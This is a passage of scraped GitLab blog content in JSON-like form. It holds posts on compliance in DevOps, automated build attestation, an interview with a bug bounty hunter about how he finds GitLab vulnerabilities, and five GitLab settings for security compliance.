[SOC2](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report), [PCI DSS](https://www.pcisecuritystandards.org), [HIPAA](https://www.cdc.gov/phlp/publications/topic/hipaa.html), and [HITECH](https://www.hhs.gov/hipaa/for-professionals/special-topics/hitech-act-enforcement-interim-final-rule/index.html). At GitLab, we know exactly how difficult this is as we went through the [SOC 2 compliance process](/blog/benefits-of-transparency-in-compliance/) ourselves, as well as many other compliance initiatives.\n\nPreviously, tackling compliance requirements involved spreadsheets, checklists, and cross-functional teams of people digging for data. Being certified compliant was critical to a business, but not critical enough to codify and streamline the process... and that was before the advent of the cloud where the data could literally be anywhere and everywhere.\n\n“It's incredibly difficult to know if you’ve done the right things to stay secure and compliant, especially in an increasingly complex environment of cloud-native applications, infrastructure-as-code, microservices, and more open source components,” explains Dave Steer, GitLab vice president of product and solutions marketing.\n\nThat's where automation, cooperation, and collaboration -- and DevOps -- come in.\n\n## Creating cohesion\n\nIt’s well known how developers and security pros have [struggled to find common ground](/blog/developer-security-divide/) around secure software development and compliance is one step further down an already rocky path of cooperation. But embedding compliance in DevOps can happen with the right mix of culture and technology. To start, it’s important to decide which standards apply to your organization and if compliance will be kept separate from security, or integrated as part of the same team. Either way, security and compliance work together by one feeding into the other. Compliance sets the parameters for meeting regulatory requirements and security executes the actions to meet those requirements. \n\nAnd that’s when the fun can really begin. The “beating heart” of DevOps is automation and if ever there is a process that is crying out to be automated and literally built into DevOps it’s compliance. There are three main ways DevOps teams can streamline the compliance process:\n\n- **Make compliance standards part of the CI/CD pipeline.** While this might not work for every compliance requirement, it eliminates the need for a manual checklist and provides a clear audit trail and a hard stop if there’s an issue because the pipeline will fail.\n\n- **Leverage containers.** When teams are certain a process or technology is compliant, it can be made into a container image. Over time, these “Golden Images” as [Martin Fowler refers to them](https://martinfowler.com/articles/devops-compliance.html) can be assembled as guiding lights of compliance.\n\n- **Establish a system of record, or SOR.** An SOR will allow a DevOps team to track compliance just before a change is made to the code or the process.\n\n## Is your software supply chain secure?\n\nAs we continue to navigate an always-evolving modern DevOps environment, it’s important to be aware that compliance and security are coming together under one primary theme moving forward: software supply chain security.\n\n[Software supply chain security](/blog/gitlab-supply-chain-security/) is fast becoming the compliance and security umbrella which is supported by security scanning, policy automation/guardrails, [securing the software factory itself](/blog/elite-team-strategies-to-secure-software-supply-chains/), and common controls embedded within the software factory. \n\nCombined with continuous maintenance of compliance and security regulations, automated DevOps practices have the potential to help discover security and compliance issues faster and address threats more quickly and effectively. \n\nIt's imperative that organizations understand how to comply with required regulations. Learn how GitLab helps organizations achieve [continuous compliance](/solutions/compliance/) and about our [software supply chain security direction](/direction/supply-chain/).\n",[2849,14,3043],{"slug":3243,"featured":6,"template":677},"the-importance-of-compliance-in-devops","content:en-us:blog:the-importance-of-compliance-in-devops.yml","The Importance Of Compliance In Devops","en-us/blog/the-importance-of-compliance-in-devops.yml","en-us/blog/the-importance-of-compliance-in-devops",{"_path":3249,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3250,"content":3256,"config":3261,"_id":3263,"_type":16,"title":3264,"_source":17,"_file":3265,"_stem":3266,"_extension":20},"/en-us/blog/securing-the-software-supply-chain-through-automated-attestation",{"title":3251,"description":3252,"ogTitle":3251,"ogDescription":3252,"noIndex":6,"ogImage":3253,"ogUrl":3254,"ogSiteName":767,"ogType":768,"canonicalUrls":3254,"schema":3255},"Securing the software supply chain through automated attestation","Standards bodies want to know how orgs are protecting against software tampering. Learn how automating compliance attestation can help.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667086/Blog/Hero%20Images/blog-compliance.jpg","https://about.gitlab.com/blog/securing-the-software-supply-chain-through-automated-attestation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Securing the software supply chain through automated attestation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-08-10\",\n      }",{"title":3251,"description":3252,"authors":3257,"heroImage":3253,"date":3258,"body":3259,"category":14,"tags":3260},[3019],"2022-08-10","\nSecuring the software supply chain is not a one-and-done proposition. Instead, organizations, especially those in the public sector, must level up their protections as governing bodies add to their security frameworks. If you need proof of this, look no further than the sudden emergence of attestation requirements.\n\nAttestation is [an authenticated statement](https://slsa.dev/attestation-model) (metadata) about a software artifact or collection of software artifacts. Attestation is a key feature of [SLSA](https://slsa.dev/)(Supply chain Levels for Software Artifacts) Certification Level 2, which requires organizations to protect against software tampering and add minimal build integrity guarantees. The concept of attestation, along with presenting a software bill of materials ([SBOM](https://gitlab.com/groups/gitlab-org/-/epics/858)), is featured prominently in the [NIST Secure Software Development Framework](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) and ISACA’s [Certified Information Security Auditor training](https://www.isaca.org/credentialing/cisa).\n\n“In the past few months and in the wake of high-profile security breaches, the major governing bodies have been laser-focused on attestation and the ability to provide a verified artifact from your continuous integration (CI) pipelines that show you’ve completed all your security scans in a way that would be acceptable and compliant with the standards they set forth,” says [Joel Krooswyk](https://gitlab.com/jkrooswyk), senior manager of solutions architects at GitLab.\n\n“While the government is certainly leading on these requirements, the need for attestation applies to everyone,” says [Sam White](https://gitlab.com/sam.white), principal product manager at GitLab. \n\n## The demand for attestation automation\n\nOrganizations might have previously felt comfortable performing periodic self-audits for compliance attestation, but [the stakes are now too high](/blog/biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security/) and public sector agencies, as well as private sector organizations, must consider automating this critical task, according to Krooswyk.\n\n“Until now, attestation has been a manual undertaking, which has been burdensome, expensive, and error-prone,” he says. “The more automation we can apply to attestation, and the more consistency we can incorporate from standards requirements, the better off software supply chain security will be and the more confidence we will have in development collaboration.”\n\nGitLab [introduced automated compliance attestation](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#artifact-attestation) in Release 15.1. GitLab Runner can generate and produce attestation metadata for all build artifacts. To enable this feature, you must set the RUNNER_GENERATE_ARTIFACTS_METADATA environment variable to “true”. This variable can either be set globally or it can be set for individual jobs. The metadata is then rendered in a plain text .json file that’s stored with the artifact. \n\nLearn how to automatically generate GitLab SLSA Level 2 Build Artifact Attestation:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n  \u003Ciframe src=\"https://www.youtube.com/embed/MlIdqrDgI8U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n## Building attestation into the development lifecycle\n\nSoftware development is a collaborative effort and organizations need to know that upstream dependencies have been built in a secure manner. “Not only do you need to know that the software has been developed without vulnerabilities, but that the machine that software was built on has not been compromised,” White says. “How can you know, without attestation, that the binary itself is authentic and that the risk has been minimized?” By automating attestation, organizations can help protect users of their software from code that has been injected with malware or build servers that have been overtaken.\n\n>Join us at [GitLab Commit 2022](/events/commit/) and connect with the ideas, technologies, and people that are driving DevOps and digital transformation.\n\n“If developers don’t have to worry about the setup or ongoing complexity of attestation, it will be a game-changer for the security industry, because you are validating right at the point of software development,” White says.\n\n## Next up: Integrated code signing and broader participation\n\nAs the public sector wades deeper into compliance, the next logical step is to introduce accountability through code signing. “Next, developers need to cryptographically sign both the build artifact and the attestation file,” White says. “This will add another layer of confidence in the build artifacts and the software supply chain overall.”\n\nAttestation also must become the norm upstream throughout the open source community. “Attestation is very much a network effect where the more people adopt it, the more effective it gets,” Krooswyk says. “Everyone needs to generate their own attestation at the point in time when they build their artifact.” \n\nKrooswyk adds that in addition to SBOM validation, he would like to see attestations expand to include all vulnerabilities that are known at the time a project is built. “We need a continuous ability to create a birth-to-death artifact history,” he says.\n\nAll users on a GitLab 15.1 or later release can get started with generating attestation for their build artifacts by setting `RUNNER_GENERATE_ARTIFACTS_METADATA: true` in their CI pipeline.  For a more comprehensive approach, users can take advantage of security approvals, code scanning, and compliance auditing by using GitLab Ultimate. To test out building a more overarching software supply chain security strategy, try GitLab Ultimate for free with a [30-day trial today](/free-trial/).\n",[2849,14,958,184],{"slug":3262,"featured":6,"template":677},"securing-the-software-supply-chain-through-automated-attestation","content:en-us:blog:securing-the-software-supply-chain-through-automated-attestation.yml","Securing The Software Supply Chain Through Automated Attestation","en-us/blog/securing-the-software-supply-chain-through-automated-attestation.yml","en-us/blog/securing-the-software-supply-chain-through-automated-attestation",{"_path":3268,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3269,"content":3275,"config":3280,"_id":3282,"_type":16,"title":3283,"_source":17,"_file":3284,"_stem":3285,"_extension":20},"/en-us/blog/cracking-our-bug-bounty-top-10",{"title":3270,"description":3271,"ogTitle":3270,"ogDescription":3271,"noIndex":6,"ogImage":3272,"ogUrl":3273,"ogSiteName":767,"ogType":768,"canonicalUrls":3273,"schema":3274},"Want to start hacking? Here's how to quickly dive in","We asked one of our top 10 hacker contributors, Johan Carlsson, to share his novel approach to bug bounty hunting.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670967/Blog/Hero%20Images/hack-gtlab-keyboard.png","https://about.gitlab.com/blog/cracking-our-bug-bounty-top-10","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want to start hacking? Here's how to quickly dive in\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2022-07-27\",\n      }",{"title":3270,"description":3271,"authors":3276,"heroImage":3272,"date":3277,"body":3278,"category":14,"tags":3279},[3178],"2022-07-27","Johan Carlsson started part-time hacking in May 2021 and is already number 7 on our [HackerOne Top 10 list](https://hackerone.com/gitlab/thanks). How did he get there in such a short time, while juggling a full-time web development job, as well as being a husband and father? Read on to learn about his unique approach, which is a great roadmap for anyone wanting to start – or improve – their hacking game. \n\n![Johan Carlsson profile](https://about.gitlab.com/images/blogimages/bugbounty10/meet-joaxcar.png){: .medium.center}\n\n_But first, a bit about [Johan Carlsson (@joaxcar)](https://hackerone.com/joaxcar):_\n\nJohan lives in Gothenburg, Sweden, with his wife and their three kids. He has bachelor’s degrees in computer science and fine arts. In his after hours, when the kids are asleep, he looks for bugs in GitLab from the comfort of his sofa. He stumbled into IT security and bug bounties through a course in ethical hacking during his last semester at university.\n\nA year ago, he didn’t know what XSS, CSRF, RCE or any of that fancy jargon was, and he considers himself far from a professional hacker. He says he is learning as he goes. When not at the computer, he spends time with his family, or, more accurately, when he is not spending time with his family, he tries to do some bug hunting.\n\n*Check out the replay from our live Ask Me Anything session with Johan:*\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3LF8fpAX6Xk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## It starts with the mindset\n\n**Q: It’s pretty impressive that you were able to go from “zero knowledge” in bug hunting to landing in our top ten. What aspects of your approach help you to be successful?  Any tips for other newcomers when it comes to diving into bug hunting?**\n\nJohan: I think persistence and a genuine interest in the subject (in this case IT/web security) is key here. If I were only doing it for the bounties, I don't think I would have been able to continue searching during the days/weeks when I was not able to find any vulnerabilities. For me, I have found as much joy and excitement in learning and researching as in actually finding bugs.\n\nOne thing that I have found particularly useful is being able to set my mind to the state of an attacker of the system. It might sound trivial, but when you come from a background of building things, it can be challenging to understand how a feature you built could be abused. When I now look at a new feature in GitLab, this is always my first question, \"Ok, how could this break, what could go wrong?\"\n\n## What makes a great bug bounty program?\n\n**Q: I see you’ve diversified and about half your HackerOne reputation points come from other bug bounty programs! Have you seen anything cool in other programs that we could consider implementing?**\n\nJohan: Yes, I have been trying my luck in some other programs as well! Mostly it has been to be able to try out other parts of bug hunting that are not very applicable to my work on GitLab, such as automated tooling and more basic \"off the shelf\" bugs from [the OWASP Top 10](https://owasp.org/www-project-top-ten/).\n\nThe one thing I have encountered that I somewhat miss in GitLab's bounty program is a more personalized triage experience. A great thing with GitLab's approach to triage and payouts is that it is very standardized and predictable (both triage communication and payout amount). But this is also the biggest downside for me as a returning reporter, and someone who doesn’t consider bug hunting a job; a more engaged and personalized approach would give someone like me as much encouragement to continue in the program as high bounties would. \n\nI really enjoy the programs that run promotions, that have an active program page and encourage reporters by rewarding bonuses when reports are especially well written, interesting or novel. It is a balancing act I guess, as these activities could risk tilting the program and making it \"unfair.\" These types of incentives are also maybe easier to implement in private programs. But still, even the [November bug challenge](/blog/3rd-annual-bug-bounty-contest/) gave me an extra boost as it diversified the incentive to engage with the program.\n\n🆕 _Additional insight from Johan:_     \nI really wanted to win the keyboard swag in the November challenge. I was stressed that I had not had time to hunt during November but found some time during the last week. I really tried to focus on finding something fun and managed to send in this report – [“Arbitrary POST request as victim user from HTML injection in Jupyter notebooks”]( https://hackerone.com/reports/1409788) – with a finding that I am really proud of. It didn't land me the keyboard, but it did end up giving me my highest bounty I’d earned to that date. 😃 \n\n📝 _A note from GitLab team_   \nWe really appreciate this feedback and understand that changes we’ve made to make our program (and triage process) more efficient and scalable have caused some disappointment across our hacker community. Our intent truly is to make the experience of finding bugs on our platform one that embodies [the GitLab values of collaboration, results, efficiency, diversity, inclusion and belonging, and transparency](https://handbook.gitlab.com/handbook/values/), and we’ll continue striving to balance our need for efficiency and results with our desire to make this a collaborative, transparent and inclusive program. We value the feedback we receive and are constantly looking at ways to improve our program, including response times, collaboration and fun things like contests and incentives. 👀\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://giphy.com/embed/xTiN0CNHgoRf1Ha7CM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n👉 **On that note, we're super excited to share the news of a new CTF we've just launched. Capture the flag and a $20K USD bonus is yours! You can get all the details via our [Bug Bounty program on HackerOne](https://hackerone.com/gitlab).** 🎉  \n\n## How to identify targets\n\n**Q: How do you pick which part of GitLab you’re going to dig into? Do you read our release posts? Do you look at old bugs?**  \n\nJohan: My approach here is very haphazard. It is a mix of reading release notes and looking at [old bugs and random issues on the GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=HackerOne&first_page_size=20). I use all three of these to identify areas of the application that I have missed or never thought of.\n\nReading through the [release blog posts](https://about.gitlab.com/releases/categories/releases/) (especially the monthly security release) has probably been the most fruitful for me. I have reported multiple bugs that are alterations or bypasses to previously fixed and disclosed reports. I usually read through the report, try to understand what caused the problem, and then use my own understanding of GitLab to identify if any edge cases exist where the developers might have missed adding protection. Here’s [an example in HackerOne](https://hackerone.com/reports/1481207) where I did just that!\n\nA bit more random, but fun and rewarding, is to just jump in to issues on the tracker that seem to discuss something interesting. I have found quite a few features that I didn't know existed by reading discussions in issues where GitLab staff and users discuss something completely unrelated to security. I then go to the [documentation](https://docs.gitlab.com) and the source code and try to identify where this feature resides and start poking at it. Here’s an [example of a report I made after doing some digging through public issues](https://hackerone.com/reports/1375393). \n\n🔎 _**More details from Johan:**_   \nFor example, this [External Status Checks documentation page](https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html) introduced the feature and also contains links to issues and epics under \"version history.\" This is usually a good entry point, and I’ll then try to find some merged merge requests related to the feature and look at what files are modified. I want to get an understanding of where the feature resides in the codebase.\n\nHowever, I sometimes have the reverse issue, when I find a code path that looks dangerous but I don't know how to reach it from the UI or API. One such instance led me to a series of bugs found in an area of GitLab that I’d never poked at before. (These bugs are just recently fixed/getting fixed, so disclosures have not yet been made.)\n\nThe best part of this combined approach to \"reconnaissance\" is that I can do it on my phone. This is a great feature of the GitLab bug bounty program, as the time I actually have available in front of a computer doing bug hunting is quite restricted.\n\n🧐 _**real-life example from Johan**:_   \nI remember finding this issue, [“Improper access control for users with expired password, giving the user full access through API and Git”](https://hackerone.com/reports/1285226) on my phone while lying in the dark on the floor after tucking my kids to sleep last summer :). It was a reintroduction of an issue that I had already reported. I found a discussion where users experienced some problems connected to the fix (without knowing it) and the issue got introduced again. I realized that the issue existed just from reading the MR. And I just had to get up and test my hypothesis.\n\n## Want to know more? Watch the replay!\n\nLearn more about Johan’s workflow, which information resources he relies on to stay on top of his hacking game, and what tips he’d offer up to those looking to start bug bounty hunting in the [YouTube live playback](https://www.youtube.com/watch?v=3LF8fpAX6Xk&list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s&index=1) and check out the [notes from our call with Johan](https://docs.google.com/document/d/1M_LQbo5LqNKTKdN88FBkK-gIyULe1-HvyQDFLqTi0kA/edit?usp=sharing). For a deeper dive, see all of our [Ask a Hacker AMAs here](https://www.youtube.com/playlist?list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s). \n\nKeep up with Johan Carlsson by following [him on Twitter](https://twitter.com/joaxcar) and [checking out his hacktivity on HackerOne](https://hackerone.com/joaxcar?type=user).\n\n**If you have a question you’d like to `Ask a Hacker` add it to the comments and we’ll include it in an upcoming AMA!**\n\n_**About the GitLab Bug Bounty program:**_\n_The overarching goal of our bug bounty program is to make our products and services more secure. The program is managed by our Application Security team. Since launching our public bug bounty program in December 2018, we’ve received over 3,618 submissions, resolved 1025 reports, awarded more than a million dollars in bounties and thanked 478 hackers for those findings. You can see our program dashboard at https://hackerone.com/gitlab._\n",[14,899],{"slug":3281,"featured":6,"template":677},"cracking-our-bug-bounty-top-10","content:en-us:blog:cracking-our-bug-bounty-top-10.yml","Cracking Our Bug Bounty Top 10","en-us/blog/cracking-our-bug-bounty-top-10.yml","en-us/blog/cracking-our-bug-bounty-top-10",{"_path":3287,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3288,"content":3294,"config":3299,"_id":3301,"_type":16,"title":3302,"_source":17,"_file":3303,"_stem":3304,"_extension":20},"/en-us/blog/top-5-compliance-features-to-leverage-in-gitlab",{"title":3289,"description":3290,"ogTitle":3289,"ogDescription":3290,"noIndex":6,"ogImage":3291,"ogUrl":3292,"ogSiteName":767,"ogType":768,"canonicalUrls":3292,"schema":3293},"Top 5 compliance features to leverage in GitLab","Highlighting features we use daily, our security team outlines 5 ways to configure your GitLab instance for increased security and compliance.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679391/Blog/Hero%20Images/pexels-5strike.jpg","https://about.gitlab.com/blog/top-5-compliance-features-to-leverage-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 5 compliance features to leverage in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Madeline Lake\"}],\n        \"datePublished\": \"2022-07-13\",\n      }",{"title":3289,"description":3290,"authors":3295,"heroImage":3291,"date":3296,"body":3297,"category":14,"tags":3298},[670],"2022-07-13","\n\nGitLab's [compliance management capabilities](https://docs.gitlab.com/ee/administration/compliance.html) are designed to integrate compliance into development and deployment processes from the start. As a tenured compliance professional and member of our [Security Compliance team here at GitLab](/handbook/security/security-assurance/security-compliance/), I can tell you from experience it is always easiest to design your processes to be secure and compliant from the start than it is to re-engineer existing processes to be compliant.\n\n**Why should you care about your GitLab instance being secure and compliant?**\nIn additon to reducing the risk of a breach and lowering costs, there are regulatory and compliance requirements to consider.\nTypically regulatory and compliance audits are unavoidable and can be time-consuming and stressful. However, GitLab has many easy-to-use, built-in features that may help fulfill your organization's compliance requirements and make your environment more secure. Here at GitLab, these are features we use everyday. The best part is, most of the features I'll outline below are included as [free features](/pricing/feature-comparison/).\n\n_Note: I'll add an asterisk (*) next to any feature which is not available on our free tier._\n\n**Here's the tl;dr list:**\n- [Enable Multi-Factor Authentication (MFA)](/blog/top-5-compliance-features-to-leverage-in-gitlab/#1-enable-mfa)\n- [Review privileged access for critical projects](/blog/top-5-compliance-features-to-leverage-in-gitlab/#2-review-privileged-access-for-critical-projects)\n- [Turn on protected branches](/blog/top-5-compliance-features-to-leverage-in-gitlab/#3-turn-on-protected-branches)\n- [Activate merge request approval settings](/blog/top-5-compliance-features-to-leverage-in-gitlab/#4-activate-merge-request-approval-settings-)\n- [Configure audit events](/blog/top-5-compliance-features-to-leverage-in-gitlab/#5-configure-audit-events-)\n\n\n## 1. Enable MFA\n\nEnabling MFA is simple and reduces the risk of attacks by making it more difficult to gain access to accounts.\n\nMFA can be enforced for all users in your GitLab instance in the admin center. Alternatively, MFA can be configured for accounts individually.\n\nYou can learn [how to enable MFA in our GitLab documentation](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html).\n\n### Compliance standards and GitLab controls for MFA\n\nMFA relates to the following compliance standards:\n- AICPA TSC CC6.1\n- ISO 27001 2013 A9.2.3, A9.2.4, A.9.3.1, A9.4.3\n- NIST 800-53 IA-5, IA-5(1), IA-2(1), IA-2(2)\n\nIllustrative [GitLab controls for MFA](/handbook/security/security-assurance/security-compliance/guidance/identification-and-authentication.html):\n- IAC-02: GitLab Inc. has implemented mechanisms to uniquely identify and authenticate organizational users and processes acting on behalf of organizational users.\n- IAC-06: GitLab Inc. has implemented automated mechanisms to enforce MFA for: remote network access; and/or non-console access to critical systems or systems that store, transmit and/or process sensitive data.\n\n## 2. Review privileged access for critical projects\n\nUndoubtedly, one of the biggest risks to your environment is logical access. To reduce the risk, we recommend administrators ensure access is restricted based on the [principle of least privilege](/handbook/security/access-management-policy.html#principle-of-least-privilege). Access should be monitored continuously as access changes can occur multiple times, daily, in most organizations. In order to appropriately review access in your GitLab instance, it is important to first understand the access security structure within GitLab.\n\n### Breaking down the access security structure\n\nWithin GitLab, there are six different roles that can be assigned to users - “Guest”, “Reporter”, “Developer”, “Maintainer”, “Owner” and “Administrator”.  Privileged access within GitLab is considered to be the “Administrator”, “Owners”, and “Maintainers” roles.\n\n#### GitLab Administrators receive all permissions\n\nOwners and Maintainers are considered administrative because these roles have permissions to do highly sensitive actions including but not limited to: managing merge settings; enabling or disabling branch protection; managing access to a project; managing access tokens; exporting a project; and deleting issues, merge requests, and projects.\n\nAs privileged access is the highest risk to your environment, these roles should be tightly controlled.\n\n**Some best practices in regards to ensuring access is restricted based on the principle of least privilege include:**\n- When privileged access is requested, ensure appropriate approvals are received prior to access being provisioned. _Best practice is to obtain approvals from the data owner and the manager of the user who's receiving access._\n- When a user changes job responsibilities or leaves the organization, ensure access is deprovisioned timely and any shared passwords or tokens are rotated. _Best practice is to do this within 72 hours or less._\n- Be sure to review access on a periodic basis to ensure access is still appropriately aligned to a user's job responsibilities. _Best practice is to do this on a quarterly basis and have access reviewed by the data owner._\n\n#### What to do when you identify inappropriate access\n\nWhen inappropriate access is identified, it is important to take immediate, mitigating actions by checking the user's last login date and checking audit logs as they are available to ensure no inappropriate transactions were performed. These mitigating actions should be conducted upon identification to ensure accessibility of information and to understand potential exposure.\n\nRefer to our [GitLab documentation regarding permissions and roles](https://docs.gitlab.com/ee/user/permissions.html) for more information.\n\n### Compliance standards and GitLab controls for privileged access\n\nPrivileged access relates to the following compliance standards:\n- AICPA TSC CC6.1, CC6.2, CC6.3\n- ISO 27001 2013 A9.2.1, A9.2.2, A9.2.3, A9.4.4\n- NIST 800-53 IA-12(4)\n\nIllustrative [GitLab controls for privileged access](/handbook/security/security-assurance/security-compliance/guidance/identification-and-authentication.html):\n- IAC-07: GitLab Inc. has implemented mechanisms to utilize a formal user registration and de-registration process that governs the assignment of access rights.\n- IAC-16: GitLab Inc. has implemented mechanisms to restrict and control privileged access rights for users and services.\n- IAC-17: GitLab Inc. has implemented mechanisms to periodically review the privileges assigned to users to validate the need for such privileges; and reassign or remove privileges, if necessary, to correctly reflect organizational mission and business needs.\n\n## 3. Turn on protected branches\n\nWithin GitLab, role-based access can be used to give access to repositories and branches at the project level.  By utilizing protected branches, further restrictions can be configured on certain branches in order to protect them. Protecting your default branch is the most important; this branch is often called \"master\" or \"main\".\n\nSome best practice in regards to protection rules include:\n* Prevent commits directly into the default branch\n* Require a merge request each time there is a commit\n* Require approval by a codeowner before merging code\n\nProtected branches should be configured in accordance with your organization's change management policy. Here's an example of how to configure protection rules according to our recommendations:\n\n![file name](https://about.gitlab.com/images/blogimages/top-5/protected_branch_example.png){: .shadow}\nExample of how to configure branch protection rules\n{: .note.text-center}\n\n\nThis example shows that anyone with the “developer” and “maintainer” roles are allowed to merge to the default branch and “no one” is allowed to push directly to the default branch without a merge request. Further, codeowner approval must be obtained prior to merging.\n\nProtected branches can be modified by anyone with at least “maintainer” access. In order to monitor if protected branch settings are inappropriately modified, administrators should consider implementing a monitoring control by utilizing audit events.\n\nRefer to our [GitLab documentation regarding protected branches](https://docs.gitlab.com/ee/user/project/protected_branches.html#protected-branches) for more information.\n\n\n### Compliance standards and GitLab controls for branch protection\n\nBranch protection settings relate to the following compliance standards:\n- COSO Principle 9\n- AICPA TSC CC3.4, CC8.1\n- ISO 27001 2013 A12.1.2, A14.2.2, A.14.2.6, A.14.2.9\n- NIST 800-53 CM-3, CM-3(2), SA-8(31), SI-6\n\nIllustrative [GitLab controls for branch protection settings](/handbook/security/security-assurance/security-compliance/guidance/change-management.html) include:\n- CHG-04: GitLab Inc. has implemented mechanisms to enforce configuration restrictions in an effort to restrict the ability of users to conduct unauthorized changes.\n\n## 4. Activate merge request approval settings *\n\nChanges to your project repository typically start with a merge request. If your default branch is protected, commits must be done through a merge request. By configuring your merge request settings with approval rules ensures that changes are properly approved prior to deployment to production. Within the merge request approval settings you can specify the number of approvals required and the allowed approvers for specific merge requests.\n\nIn addition, there are a number of approval settings that further enforce segregation of duties within change management:\n- [Prevent approval by author](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-approval-by-author): When enabled, the author cannot also provide one of the required approvals.\n- [Prevent approvals by users who add commits](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-approvals-by-users-who-add-commits): When enabled, users who have committed to a merge request cannot also approve it.\n- [Prevent editing approval rules in merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-editing-approval-rules-in-merge-requests): When enabled, users can’t override the project’s approval rules on merge requests.\n- [Require user password to approve](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#require-user-password-to-approve): When enabled, users must first authenticate with a password prior to submitting approval.\n- [Remove all approvals when commits are added to the source branch](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#remove-all-approvals-when-commits-are-added-to-the-source-branch): When enabled, this removes all existing approvals on a merge request when more changes are added to it.\n\nMerge request approval settings should be configured in accordance with your organization's change management policy. An example of how to configure merge requests according to the best practices outlined above is as follows:\n\n![file name](https://about.gitlab.com/images/blogimages/top-5/mr_approval_example.png){: .shadow}\nExample of how to configure merge requests\n{: .note.text-center}\n\n\nIn the example above, you can see that at least two approvers are required: to enforce segregation of duties and that the approval settings are enforced.\n\nIf your change management policy requires approvals from different groups or departments, such as the business owner and the data owner, those approval groups can be added as additional approval rules. When enabled, these settings provide reasonable assurance that your organization’s GitLab instance enforces segregation of duties and systematically enforces your organizational change management policy.\n\nTo ensure all projects under a certain group have the same merge request approval settings, at the top-level group, [group approval settings](https://docs.gitlab.com/ee/user/group/#group-merge-request-approval-settings) can be configured. These settings cascade to all projects that belong to the group.\n\nMerge request approval settings can be modified by anyone with at least “maintainer” access. In order to monitor if merge request approval settings are inappropriately modified, consider implementing a monitoring control by utilizing audit events.\n\nFor more information, refer to our GitLab documentation around merge request [approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/index.html) and [settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html).\n\n### Compliance standards and GitLab controls for merge approvals\n\nMerge approval settings relate to the following compliance standards:\n- COSO Principle 9\n- AICPA TSC CC3.4, CC8.1\n- ISO 27001 2013 A12.1.2, A14.2.2, A.14.2.6, A.14.2.9,\n- NIST 800-53 CM-3, CM-3(2), SA-8(31), SI-6\n\nIllustrative [GitLab controls for merge approval settings](/handbook/security/security-assurance/security-compliance/guidance/change-management.html) include:\n* CHG-04: GitLab Inc. has implemented mechanisms to enforce configuration restrictions in an effort to restrict the ability of users to conduct unauthorized changes.\n\n## 5. Configure audit events *\n\nAudit events are a way to view changes made within GitLab and can be leveraged as a detective and monitoring control for continuous monitoring of configured settings. A report can be generated on the audit event, which can then be provided to auditors to evidence your company’s compliance for the audit period for a specific, configured setting.\n\nAudit events can be configured at the group, project and instance level.\n\nIt is best practice to monitor the following [audit events](https://docs.gitlab.com/ee/administration/audit_events.html#project-events) in your GitLab environment:\n- merge approval settings\n- protected branch settings\n\nAs previously mentioned, merge approval settings and protected branch settings can be modified by anyone with “maintainer” access. By monitoring these critical settings for audit events, it can be determined if the protected branch settings or merge approval settings were modified during the period. If the settings were modified, investigation can occur to understand the potential impact and be an indicator to turn the setting back on.\n\nHere’s an example of what these audit events look like:\n\n![file name](https://about.gitlab.com/images/blogimages/top-5/audit_event_example.png){: .shadow}\nExample of audit events\n{: .note.text-center}\n\n\nIn this example of audit events, we see the following:\n- The merge approval settings “require new approvals when new commits are added to an MR” was turned off on the project.\n- The number of required approvals was reduced from 2 to 1.\n- Merging is now allowed by anyone on the default branch.\nThese changes would alter the protected branch settings and merge approval settings that were previously configured.\n\n[Audit events can be streamed](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) to third-party systems. The advantage of this is to integrate into a security information and event management (SIEM) system for centralized monitoring and alerting.\n\nTo learn more, check out the [GitLab documentation surrounding audit events](https://docs.gitlab.com/ee/administration/audit_events.html).\n\n### Compliance standards and GitLab controls for audit events\n\nAudit events relate to the following compliance standards:\n- COSO Principle 13\n- AICPA TSC CC4.1, CC7.2\n- ISO 27001 2013 A12.4.1, A12.4.3\n- NIST 800-53 AU-2\n\nIllustrative [GitLab controls for audit events](/handbook/security/security-assurance/security-compliance/guidance/continuous-monitoring.html):\n- CHG-07: Audit events are reviewed quarterly to ensure 